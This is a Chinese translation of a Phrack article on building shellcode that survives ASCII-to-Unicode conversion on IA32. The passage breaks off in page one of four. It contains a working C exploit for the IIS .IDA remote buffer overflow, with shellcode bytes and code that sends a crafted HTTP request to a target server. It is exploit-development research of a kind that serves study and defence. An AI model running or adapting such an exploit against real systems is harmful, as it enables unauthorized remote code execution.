| 创建IA32下针对Unicode有效的ShellCodes |
|
| 创建IA32下针对Unicode有效的ShellCodes |
|
|
|
作者:佚名 文章来源:不详 点击数: 更新时间:2006-12-5 19:19:09  |
章提交:FZ5FZ (fz5fz_at_sina.com)
------------------[Phrack 杂志 --- 卷标 0x0b │ 期刊 61]
------------------[创建IA32下针对Unicode有效的ShellCodes]
------------------[作者:obscou < obscou@dr.com || wishkah@chek.com >]
------------------[翻译:Brief < Brief@fz5fz.org >]
译者注:
由于本人接触BOF及ShellCode不久,理解和翻译得不妥之处,还望各位前辈斧正。 如果E文可以的话,您最好还是看看原文吧! 原文链接: < http://www.phrack.org/show.php?p=61&a=11 >
--[ 目录
0 - Unicode 标准
1 - 介绍
2 - 指令集
3 - 可能性
4 - 策略
5 - 代码的位置
6 - 结论
7 - 附录 : 代码
--[0 - Unicode 标准
在我们利用缓冲区溢出漏洞时常常会遇到一类困难:字符转换。实际上,具有漏洞的程序可能会通过设置大小写转换,去掉非字母数字组合字符串等等来修改我们的缓冲区,这样往往使得我们ShellCode的攻击不再有效。在此我们要处理的为基于从C类型字符串(通常以‘\0’结束的字符串)到Unicode字符串的转换。
下面我们来快速浏览一下Unicode吧:
“什么是Unicode ? Unicode为每一个字符提供单独的编码, 无所谓何种平台, 无所谓何种程序, 无所谓何种语言。“
--- www.unicode.org
实际上,因为Internet变得如此的流行,而且我们又使用了不同的语言和不同的文字,所以现在需要一种能够让计算机在任意平台,任意程序,任意语言和任意网络间进行数据交换的标准。Unicode是一个16位的字符集,它能够为任意的字符编码,因此成为了世界范围内的字符编码标准。
今天,Unicode被以下的工业界的领头们所使用:
Apple HP IBM Microsoft Oracle Sun 和其他各大公司... Unicode被以下主要的软件所支持:
操作系统:
Microsoft Windows CE, Windows NT, Windows 2000, and Windows XP GNU/Linux with glibc 2.2.2 or newer - FAQ support Apple Mac OS 9.2, Mac OS X 10.1, Mac OS X Server, ATSUI Compaq's Tru64 UNIX, Open VMS IBM AIX, AS/400, OS/2 SCO UnixWare 7.1.0 Sun Solaris
当然还包括所有运行在它们环境下的所有软件……
http://www.unicode.org/charts/ 列举了支持的字符列表,类似下图:
| 范 围 | 字符集 |-----------|-------------------- | 0000-007F | 基本拉丁文 | 0080-00FF | 拉丁文-1补充 | 0100-017F | 拉丁文扩展-A | [...] |[...] | 0370-03FF | 希腊语和埃及古语 | [...] |[...] | 0590-05FF | 希伯来语 | 0600-06FF | 阿拉伯语 | [...] |[...] | 3040-309F | 日文平假名 | 30A0-30FF | 日文片假名
Unicode 4.0 所支持的字符有:
Basic LatinBlock Elements Latin-1 SupplementGeometric Shapes Latin Extended-AMiscellaneous Symbols Latin Extended-BDingbats IPA ExtensionsMiscellaneous Math. Symbols-A Spacing Modifier LettersSupplemental Arrows-A Combining Diacritical MarksBraille Patterns GreekSupplemental Arrows-B CyrillicMiscellaneous Mathematical Symbols-B Cyrillic SupplementSupplemental Mathematical Operators ArmenianCJK Radicals Supplement HebrewKangxi Radicals ArabicIdeographic Description Characters SyriacCJK Symbols and Punctuation ThaanaHiragana DevanagariKatakana BengaliBopomofo GurmukhiHangul Compatibility Jamo GujaratiKanbun OriyaBopomofo Extended TamilKatakana Phonetic Extensions TeluguEnclosed CJK Letters and Months KannadaCJK Compatibility MalayalamCJK Unified Ideographs Extension A SinhalaYijing Hexagram Symbols ThaiCJK Unified Ideographs LaoYi Syllables TibetanYi Radicals MyanmarHangul Syllables Georgian High Surrogates Hangul JamoLow Surrogates EthiopicPrivate Use Area CherokeeCJK Compatibility Ideographs Unified Canadian Aboriginal SyllabicAlphabetic Presentation Forms OghamArabic Presentation Forms-A RunicVariation Selectors Tagalog Combining Half Marks HanunooCJK Compatibility Forms BuhidSmall Form Variants TagbanwaArabic Presentation Forms-B KhmerHalfwidth and Fullwidth Forms MongolianSpecials LimbuLinear B Syllabary Tai LeLinear B Ideograms Khmer Symbols Aegean Numbers Phonetic ExtensionsOld Italic Latin Extended AdditionalGothic Greek ExtendedDeseret General PunctuationShavian Superscripts and Subscripts Osmanya Currency SymbolsCypriot Syllabary Combining Marks for SymbolsByzantine Musical Symbols Letterlike SymbolsMusical Symbols Number FormsTai Xuan Jing Symbols ArrowsMathematical Alphanumeric Symbols Mathematical OperatorsCJK Unified Ideographs Extension B Miscellaneous TechnicalCJK Compatibility Ideographs Supp. Control PicturesTags Optical Character RecognitionVariation Selectors Supplement Enclosed AlphanumericsSupplementary Private Use Area-A Box DrawingSupplementary Private Use Area-B
微软语: “Unicode是世界范围内的字符编码标准。Windows NT,Windows 2000和Windows XP在系统级特地使用了Unicode作为字符和字符串操作的标准。Unicode简单化了软件定位并促进了多语言文本的处理。在您的程序中通过使用Unicode,您可以使你的程序通过一个简单的二进制文件来处理所有可能的字符代码,从而在全球市场上拥有统一的数据交流的能力。”
我们注意到Windows提供的编程接口包含了ASNI和Unicode各自对应的API,例如:
API: MessageBox (显示一个消息框)是从User32.dll中导出的: MessageBoxA(ANSI) MessageBoxW(Unicode)
MessageBoxA 将接受一个标准的C类型字符串作为参数; MessageBoxW 则需要一个Unicode编码的字符串作为参数。
据微软称,系统内部在处理字符串之前将会在不同标准间进行透明的类型转换。但是如果你想在Windows下使用ANSI编写一个C程序,那么需要定义UNICODE,并且每个API都将被替换为‘W’版本。 这一点吸引了我,现在让我们直接进入主题吧……
--[ 1 - 介绍
我们将会考虑如下的情形:
您发送了一些数据到容易被攻击的服务器,并且你的数据被认为是以ASCII标准编码的,那么你的缓冲区将会因为兼容性的原因被转换为Unicode编码,并且将会在你发送的已经转换过的缓冲区里发生溢出。
例如,下面的输入缓冲区:
4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !... 0000 0000 0000 0000 0000 0000 0000 0000 ................
转换之后: 4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o. 7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!.......
这时,溢出发送了(当然我知道我所给出的例子是如此的乏味)
在Win32平台下,进程通常是在00401000处开始执行的,这就使得我们通过返回一个如下形式的地址来打乱 EIP:
????:00??00??
所以即使如此简单的转换,漏洞的利用同样成为可能。但是如果要获得一个可行的ShellCode那将需要很多艰辛的劳动!一种可能性就是将未转换的ShellCode连续填入到堆栈中直到填满,这时通过转换之后的代码进行溢出,使其返回到我们众多可计数的某一个ShellCode上来。在此我们假设这是不可能的,因为所有的缓冲区都是基于Unicode编码的。更不必说我们的汇编指令不会执行如此不安全的代码。我们需要找到一种能经受住类型转换的ShellCode,也就是在Unicode编码下仍然行之有效的ShellCode。首先,我们需要查找含有空字节的操作码来创建我们的ShellCode。
虽然这是一个有些老了的例子,但它可以说明在发送的缓冲区被“污染”之后,仍然可以保证正确执行我们的ShellCode。 (这个漏洞在我的电脑上执行成功,它是针对IIS的WWW服务):
---------------- CUT HERE ------------------------------------------------- /* IIS .IDA 远程溢出漏洞
格式化返回地址: 0x00530053 IIS 持有的我们的大缓冲区地址:0x0052.... 我们跳到缓冲区,并得到需要的指针 by obscurer */
#include <windows.h> #include <winsock.h> #include <stdio.h>
void usage(char *a); int wsa();
/* 我的通用 Win32 Shellcode */ unsigned char shellcode[]={ "\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41" "\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F" [......] [......] [......] "\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01" "\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"};
int main (int argc, char **argv) {
int sock; struct hostent *host; struct sockaddr_in sin; int index;
char *xploit; char *longshell;
char retstring[250];
if(argc!=4&&argc!=5) usage(argv[0]);
if(wsa()==FALSE) { printf("Error : cannot initialize winsock\n"); exit(0); }
int size=0;
if(argc==5) size=atoi(argv[4]);
printf("Beginning Exploit building\n");
xploit=(char *)malloc(40000+size); longshell=(char *)malloc(35000+size); if(!xploit||!longshell) { printf("Error, not enough memory to build exploit\n"); return 0; }
if(strlen(argv[3])>65) { printf("Error, URL too long to fit in the buffer\n"); return 0; }
for(index=0;index<strlen(argv[3]);index++) shellcode[index+139]=argv[3][index]^0x20;
memset(xploit,0,40000+size); memset(longshell,0,35000+size); memset (longshell, '\x41', 30000+size);
for(index=0;index<sizeof(shellcode);index++) longshell[index+30000+size]=shellcode[index];
longshell[30000+sizeof(shellcode)+size]=0;
memset(retstring,'S',250);
sprintf(xploit, "GET /NULL.ida?%s=x HTTP/1.1\nHost: localhost\nAlex: %s\n\n", retstring, longshell);
printf("Exploit build, connecting to %s:%d\n",argv[1],atoi(argv[2]));
sock=socket(AF_INET,SOCK_STREAM,0); if(sock<0) { printf("Error : Couldn't create a socket\n"); return 0; }
if ((inet_addr (argv[1]))==-1) { host = gethostbyname (argv[1]); if (!host) { printf ("Error : Couldn't resolve host\n"); return 0; } memcpy((unsigned long *)&sin.sin_addr.S_un.S_addr, (unsigned long *)host->h_addr, sizeof(host->h_addr));
} else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]);
sin.sin_family=AF_INET; sin.sin_port=htons(atoi(argv[2]));
index=connect(sock,(struct sockaddr *)&sin,sizeof(sin)); if (index==-1) { printf("Error : Couldn't connect to host\n"); return 0; }
printf("Connected to host, sending shellcode\n");
index=send(sock,xploit,strlen(xploit),0); if(index<1) { printf([1] [2] [3] [4] 下一页
|
| 文章录入:wuyongjian 责任编辑:wuyongjian |
|
上一篇文章: 冲击波(MSBlast)病毒分析报告 下一篇文章: 有关无线安全与黑客的话题 |
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |